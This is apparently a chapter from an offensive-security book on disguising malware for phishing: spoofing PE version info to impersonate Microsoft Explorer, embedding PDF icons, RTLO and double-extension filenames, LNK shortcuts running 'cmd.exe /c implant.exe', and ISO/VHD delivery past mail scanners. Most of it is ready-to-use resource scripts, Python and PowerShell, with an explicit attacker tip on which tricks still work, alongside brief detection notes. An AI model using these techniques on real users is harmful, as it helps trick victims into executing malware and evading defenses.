Chapter 58

Icon and Metadata Spoofing

The first line of defense before any technical control is the human eye. A victim receiving a phishing email containing "invoice_Q4_2024.pdf.exe" decides whether to open it based on how the file looks in Explorer: its icon, its apparent extension, its file description in Properties. Icon and metadata spoofing — embedding a PDF icon, using RIGHT-TO-LEFT OVERRIDE (RTLO) characters in the filename to reverse the visible extension, and filling the PE version information with legitimate-looking strings — are pre-execution techniques that get the file opened before any defense fires.

PE Version Information Spoofing

PE version resource structure — what Windows shows in file Properties

  File Properties dialog (right-click → Properties → Details tab):
  ─────────────────────────────────────────────────────────────────────────
  File description:   [from VS_VERSION_INFO.FileDescription]
  Product name:       [from VS_VERSION_INFO.ProductName]
  Company:            [from VS_VERSION_INFO.CompanyName]
  File version:       [from VS_VERSION_INFO.FileVersion]
  Product version:    [from VS_VERSION_INFO.ProductVersion]
  Copyright:          [from VS_VERSION_INFO.LegalCopyright]
  Original filename:  [from VS_VERSION_INFO.OriginalFilename]
  
  Goal: fill these with values that match a legitimate, trusted binary
  so that a victim (or a Tier 1 SOC analyst) looking at Properties thinks
  "this is legit software."
  
  Common spoofing targets (common because their version info is widely known):
  ─────────────────────────────────────────────────────────────────────────
  Adobe Systems Incorporated → acrobat.exe / reader_sl.exe
  Microsoft Corporation → explorer.exe / svchost.exe / msiexec.exe
  Google LLC → chrome.exe / update.exe
  Oracle America, Inc. → java.exe / javaw.exe
  Cisco WebEx → ciscowebexstart.exe
  
  The version resource in PE format:
  ─────────────────────────────────────────────────────────────────────────
  .rsrc section → RT_VERSION resource (type 16) → VS_VERSIONINFO struct
  Contains:
    DWORD FileVersionMS / FileVersionLS  (4-part version number)
    String table with key-value pairs for the human-readable info
  
  How to add: use a .rc file compiled with rc.exe (MSVC) or windres (MinGW)

/* version.rc — Resource script to add spoofed version info to your PE
   
   Compile with:  windres version.rc -o version.o
   Link with:     x86_64-w64-mingw32-gcc your_implant.c version.o -o implant.exe
   
   To match Microsoft Explorer's version info exactly:
   Copy the values from C:\Windows\explorer.exe using:
     (Get-Item C:\Windows\explorer.exe).VersionInfo
*/

#define VER_FILEVERSION              10,0,22621,2428
#define VER_FILEVERSION_STR          "10.0.22621.2428\0"
#define VER_PRODUCTVERSION           10,0,22621,2428
#define VER_PRODUCTVERSION_STR       "10.0.22621.2428\0"

VS_VERSION_INFO VERSIONINFO
 FILEVERSION    VER_FILEVERSION
 PRODUCTVERSION VER_PRODUCTVERSION
 FILEFLAGSMASK  0x3fL
 FILEFLAGS      0x0L
 FILEOS         VOS_NT_WINDOWS32
 FILETYPE       VFT_APP
 FILESUBTYPE    VFT2_UNKNOWN
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"  /* Language: English (US), CodePage: Unicode */
        BEGIN
            VALUE "CompanyName",      "Microsoft Corporation"
            VALUE "FileDescription",  "Windows Explorer"
            VALUE "FileVersion",      VER_FILEVERSION_STR
            VALUE "InternalName",     "explorer"
            VALUE "LegalCopyright",   "\251 Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "EXPLORER.EXE"
            VALUE "ProductName",      "Microsoft\256 Windows\256 Operating System"
            VALUE "ProductVersion",   VER_PRODUCTVERSION_STR
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200  /* English, Unicode */
    END
END

Icon Embedding and Extension Spoofing

/* icon.rc — Embed a PDF icon into your EXE */
/* 
   Extract the icon from an existing PDF reader or Office binary:
     ResourceHacker.exe → open acrobat.exe → Icons → save as pdf_icon.ico
   
   Then embed it in your implant:
*/
IDI_MAINICON ICON "pdf_icon.ico"
/* Compile with the version.rc as before — concatenate both in one .rc file
   or compile separately and link both .o files */

Extension spoofing techniques:
─────────────────────────────────────────────────────────────────────────

Technique 1: Double extension (relies on "hide known extensions" Windows default)
  Filename: invoice.pdf.exe
  Explorer (default setting — "Hide extensions for known file types"): shows "invoice.pdf"
  Icon: PDF icon (embedded in .exe)
  User sees: "invoice.pdf" with a PDF icon → clicks it → runs .exe

Technique 2: RTLO (Right-to-Left Override) character
  Unicode U+202E is the RIGHT-TO-LEFT OVERRIDE character.
  It reverses the display direction of characters after it.
  
  Real filename bytes: "invoice_[U+202E]fdp.exe"
  Displayed as:        "invoice_exe.pdf"
  
  The file IS an .exe — it will execute as an .exe.
  But to the human eye it looks like "invoice_exe.pdf".
  Note: Windows 10/11 Explorer shows a warning tooltip for RTLO in filenames.
  Some email clients and older Explorer versions do not.
  
  Craft the filename (Python):
    name = "invoice_‮fdp.exe"
    with open(name, 'wb') as f:
        f.write(your_payload)

Technique 3: Matching icon AND extension
  Use LNK file (Windows Shortcut) pointing to your EXE:
    - LNK file can have any extension and any icon
    - Can be named "invoice.pdf" with PDF icon
    - Target: C:\Users\...\AppData\Local\Temp\implant.exe
    - Arguments passed through
  The .lnk file looks like a PDF but executes the .exe.
  
  LNK creation (PowerShell):
    $shell = New-Object -ComObject WScript.Shell
    $lnk = $shell.CreateShortcut("invoice.pdf.lnk")
    $lnk.TargetPath = "C:\Windows\System32\cmd.exe"
    $lnk.Arguments = "/c implant.exe"
    $lnk.IconLocation = "C:\Program Files\Adobe\...reader.exe, 0"
    $lnk.Save()

Technique 4: ISO/VHD container (bypasses email attachment scanning)
  Package the .exe inside an .iso or .vhd file.
  When mounted: Windows auto-opens in Explorer.
  The .exe inside the mounted volume is one click away.
  ISO/VHD containers are not directly scannable by many gateway AV products.
  Used heavily by Qakbot, Emotet, IcedID in 2021-2023 campaigns.

Questions & Answers

Does copying version information from a legitimate binary cause signature verification failures?

No — version information and Authenticode signatures are independent. The version info is embedded in the .rsrc section as a PE resource. The Authenticode signature covers a hash of the entire file content. If you create a new binary and embed version info that says "Microsoft Corporation," the binary doesn't have a Microsoft signature — but the version info string itself is just data. Get-AuthenticodeSignature checks the cryptographic signature, not whether the version strings match the signer identity. A file can claim to be "Microsoft Explorer" in its Properties tab while failing Authenticode verification entirely. The only defense that checks for this mismatch is an EDR or AV that cross-correlates: "this file claims to be microsoft in version info but its signer (or lack of signer) doesn't match" — a correlation that some EDRs do flag.

How does ISO/VHD delivery bypass email gateway scanning?

Email gateway AV typically scans common archive formats: ZIP, RAR, 7z, and common document types. ISO and VHD files are disk image formats, and while gateways can theoretically unpack them, doing so is computationally expensive and was historically uncommon enough that many gateways didn't implement it. Attackers exploited this gap from 2021-2023 to deliver malware inside ISOs. After widespread APT and crimeware use of this technique, Microsoft responded: Windows 11 22H2 (October 2022) changed the default so that mounted ISOs from the internet zone run in a "Mark of the Web" aware mode, and Windows 11 23H2 began displaying SmartScreen for ISO contents. Email gateways have also broadly added ISO unpacking. As of 2026, ISO delivery is significantly less effective than it was in 2022, but it still works against unpatched or unpatched-config systems.

What detection rule catches RTLO filenames in phishing emails?

Email security platforms (Proofpoint, Mimecast, Microsoft Defender for Office) scan attachment filenames for Unicode control characters including U+202E (RIGHT-TO-LEFT OVERRIDE), U+200F (RIGHT-TO-LEFT MARK), and other bidi control characters. These characters are extremely uncommon in legitimate filenames — a YARA rule on the attachment filename string looking for byte sequences E2 80 AE (the UTF-8 encoding of U+202E) has an extremely low false positive rate. Some email platforms reject attachments with RTLO in the filename outright. Windows Explorer in Windows 10 version 2004+ shows a tooltip warning when hovering over a file with an RTLO character. As an attacker: RTLO is now a well-known, easily-detected technique; use double extension or ISO delivery instead for modern targets.